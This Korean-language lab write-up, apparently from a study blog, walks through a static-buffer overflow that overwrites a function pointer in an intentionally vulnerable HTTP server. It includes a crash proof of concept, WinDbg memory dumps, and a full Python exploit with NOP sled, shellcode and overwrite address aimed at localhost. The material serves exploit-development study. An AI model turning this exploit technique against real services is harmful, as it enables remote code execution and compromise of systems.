static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;
strcpy(log_buf, buf);
log_func();
static 변수를 사용하면 메모리의 data 섹션에 변수가 할당된다. data 섹션은 힙 메모리와 마찬가지로 순차적으로 사용되고 data 섹션 공격 기법도 힙과 거의 동일하다. 버퍼에 500바이트 이상의 문자열이 입력되면 strcpy가 할당된 버퍼를 모두 채운 후 추가적으로 메모리들을 덮어쓰게 할 것이다.
스택과 같이 EBP, RET가 존재하지 않으므로 덮어쓴다 해서 무조건 공격에 성공하는 것은 아니지만 이와 같이 함수 포인터를 덮어쓸 수 있을 경우, 기존의 포인터가 가리키고 있던 주소 값을 원하는 주소로 변경할 수 있다.
쉘코드를 어디에 올려놓고, 쉘코드 주소로 함수 포인터를 변경해 두면 해당 함수 포인터를 호출하는 순간 쉘코드가 실행이 된다.
웹 서버는 서버에 접속한 브라우저에게 단순히 문자열을 전송합니다.
아래의 코드는 정상적인 패킷 대신에 1000개의 'A' 문자열을 80번 포트로 전송합니다.
from socket import *
PAYLOAD = 'A' * 1000
print ("[+] Sendiing Packet...")
s = socket(AF_INET,SOCK_STREAM,0)
s.connect(('127.0.0.1', 80))
s.send(("GET /" + PAYLOAD).encode())
print(s.recv(150))
s.close()
위에 코드를 실행 하면 함수 포인터가 0x41414141로 바꼇습니다.
소스 코드를 확인해보겠습니다.
로그 버퍼
로그 함수 포인터
URL 저장 변수
log_func == log_GET; // 함수 포인터에 함수 지정
log_func = log_POST; // 함수 포인터에 함수 지정
버퍼 오버플로우 발생
크래시가 발생
memcpy 함수는 복사할 길이를 입력받는 함수임에도 버퍼 오버플로우가 발생합니다. 원인은 문자열의 길이를 지정하지 않고 사용자에게 입력받은 값으로 동적으로 문자열의 길이를 계산하기 때문입니다. 실제로 프로그래머가 이렇게 문자열의 길이를 고려하지 않는 실수는 자주 발생합니다.
url이 500바이트 이상 입력되면 log_buf를 넘어서서 힙 메모리를 덮어쓰게 됩니다. 이때 버퍼 바로 아래에 위치한 함수 포인터를 덮어쓰게 되고, 함수 포인터를 호출할 때 엉뚱한 주소가 호출되어 크래시가 발생한 것이다.
ida로 함수이름을 찾도록 하자 ㅇㅇ
411380 근거는 여기서 오버플로우를 발생시킴
그리고 memcpy함수를 찾아서 그 위치에 windbg로 bp를 걸어줍시다. 이미지 베이스 동일한지 확인하고
windbg
bp 4114fe
한번 멈출텐데 아까 그 쉘코드 실행 ㄱ
Breakpoint 0 hit
eax=000001f7 ebx=00330000 ecx=0019f144 edx=7f406023 esi=00411055 edi=00411055
eip=004114fe esp=0019e914 ebp=0019f52c iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
vul_HTTP_server+0x114fe:
004114fe e8cafbffff call vul_HTTP_server+0x110cd (004110cd)
ㅇ인자값을 확인을 해보면 다음과 같다.
eax는 길이
ecx 우리의 쉘코드
416120h 버퍼 주소
버퍼의 주소인 0x416120의 값을 한번 봐보면 다음과 같다.
아직 복사하기 전이라서 그렇다.
0:000> dd 416120h
00416120 00000000 00000000 00000000 00000000
00416130 00000000 00000000 00000000 00000000
00416140 00000000 00000000 00000000 00000000
00416150 00000000 00000000 00000000 00000000
00416160 00000000 00000000 00000000 00000000
00416170 00000000 00000000 00000000 00000000
00416180 00000000 00000000 00000000 00000000
00416190 00000000 00000000 00000000 00000000
00416310 00000000 00411032
내려가다 보면 함수포잉ㄴ터가 존재한다.
다시 한번 실행을 해보면
00416300 41414141 41414141 41414141 41414141
00416310 41414141 00416124
함수 포인터를 바꾼것을 알 수 있다.
# vul_http_server Exploit by hyunmini
import struct
from socket import *
NOP = b"\x90" * 200
SHELLCODE = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x69\x21"
SHELLCODE += b"\x21\x01\x68\x6e\x6d\x69\x6e\x68\x20\x68\x79\x75\x89\xe1\xfe"
SHELLCODE += b"\x49\x0b\x31\xc0\x51\x50\xff\xd7"
print("Shellcode Length:", len(SHELLCODE))
DUMMY = b"A" * (499 - len(NOP + SHELLCODE))
BUF = struct.pack('<L', 0x00416124)
PAYLOAD = NOP + SHELLCODE + DUMMY + BUF
print("[+] Sending Packet...")
s = socket(AF_INET, SOCK_STREAM)
s.connect(('127.0.0.1', 80))
s.send(b"GET /" + PAYLOAD + b" HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n")
print(s.recv(150).decode(errors="ignore"))
s.close()